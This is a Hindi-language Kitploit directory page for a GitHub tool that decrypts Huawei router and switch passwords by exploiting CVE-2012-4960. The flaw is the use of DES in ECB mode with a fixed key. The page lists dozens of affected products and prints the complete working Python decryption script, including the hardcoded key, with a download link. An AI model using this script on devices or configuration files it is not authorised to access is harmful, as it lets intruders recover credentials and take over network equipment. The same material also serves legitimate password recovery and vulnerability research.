Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Decrypt-passwords-for-Huawei-routers-and-switches-CVE-2012-4960 — DES ECB मोड का उपयोग करके Huawei राउटर और स्विच पासवर्ड को डिक्रिप्ट करता है, CVE-2012-4960 कमजोर एन्क्रिप्शन का शोषण करता है। प्रभावित उपकरणों से पासवर्ड पुनर्प्राप्ति के लिए Python स्क्रिप्ट। | Kitploit
उपकरण/GitHubGitHub/ghcohu/decrypt-passwords-for-huawei-routers-and-switches-cve-2012-4960
पासवर्ड क्रैकिंगएन्क्रिप्शन/डिक्रिप्शन उपकरणभेद्यता विश्लेषणशोषणक्रिप्टोग्राफी
GitHubghcohu/decrypt-passwords-for-huawei-routers-and-switches-cve-2012-4960

Decrypt-passwords-for-Huawei-routers-and-switches-CVE-2012-4960

DES ECB मोड का उपयोग करके Huawei राउटर और स्विच पासवर्ड को डिक्रिप्ट करता है, CVE-2012-4960 कमजोर एन्क्रिप्शन का शोषण करता है। प्रभावित उपकरणों से पासवर्ड पुनर्प्राप्ति के लिए Python स्क्रिप्ट।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
1181 साल पहलेअभी तक समीक्षित नहीं

हुआवेई राउटर और स्विच के लिए पासवर्ड डिक्रिप्ट करें/CVE-2012-4960

कई हुआवेई उत्पादों में, पासवर्ड के लिए DES एन्क्रिप्शन एल्गोरिदम का उपयोग किया जाता है और एन्क्रिप्शन पर्याप्त मजबूत नहीं है, इसलिए इसे क्रैक किया जा सकता है।

इस भेद्यता को Common Vulnerabilities and Exposures (CVE) ID: CVE-2012-4960 सौंपा गया है।

आवश्यकताएँ

  • python इंस्टॉल करें
    • pycryptodome इंस्टॉल करें

आज तक ज्ञात प्रभावित उत्पाद/CVE-2012-4960

  • CX200/CX300
  • CX600
  • NE5000E
  • MA5200G
  • NE40E/80E
  • ATN
  • NE40/NE80
  • NE20E-X6
  • NE20
  • ME60
  • ACU
  • WLAN AC 6605
  • S9300
  • S7700
  • S2300/S3300/S5300
  • S2300/S3300/S5300/S2700/S3700/S5700
  • S2300/S3300/S5300/S3300HI/S5300HI/S5306/S6300/S2700/S3700/S5700/S6700
  • AR G3
  • H3C AR(OEM IN)
  • AR 19/29/49
  • Eudemon100E
  • Eudemon200
  • Eudemon300&500&1000
  • Eudemon1000E-U/USG5300
  • Eudemon1000E-X/USG5500
  • Eudemon8080E&8160E/USG9300
  • Eudemon8000E-X/USG9500
  • E200E-C&X3&X5&X7/USG2200&5100
  • E200E-B&X1&X2/USG2100
  • SVN5300
  • SVN2000&5000 series
  • SVN3000
  • NIP100/200/1000
  • NIP2100&2200&5100

अन्य

  • S3500

इस कोड के प्रदर्शन का परीक्षण और सत्यापन इनमें किया गया है

  • Huawei CX200
  • Huawei S3500

कोड

root@kitploit:~

from Crypto.Cipher import DES
import binascii

def decode_char(c):
    if c == 'a':
        r = '?'
    else:
        r = c
    return ord(r) - ord('!')

def ascii_to_binary(s):
    assert len(s) == 24

    out = [0]*18
    i = 0
    j = 0

    for i in range(0, len(s), 4):
        y = decode_char(s[i + 0])
        y = (y << 6) & 0xffffff

        k = decode_char(s[i + 1])
        y = (y | k) & 0xffffff
        y = (y << 6) & 0xffffff

        k = decode_char(s[i + 2])
        y = (y | k) & 0xffffff
        y = (y << 6) & 0xffffff

        k = decode_char(s[i + 3])
        y = (y | k) & 0xffffff

        out[j+2] = chr(y & 0xff)
        out[j+1] = chr((y>>8) & 0xff)
        out[j+0] = chr((y>>16) & 0xff)

        j += 3

    return "".join(out)

def decrypt_password(p):

    r = ascii_to_binary(p)
    r = r[:16]

    d = DES.new(b"\x01\x02\x03\x04\x05\x06\x07\x08", DES.MODE_ECB)
    
    r_bytes = r.encode('latin-1')
    r = d.decrypt(r_bytes)
       
    return r.rstrip(b"\x00").decode('latin-1')


#the encrypted key must be 24 characters long

int = r"""Please insert the encrypted password here and respect the triple " on each side"""


print(decrypt_password(int))

टूल डाउनलोड करें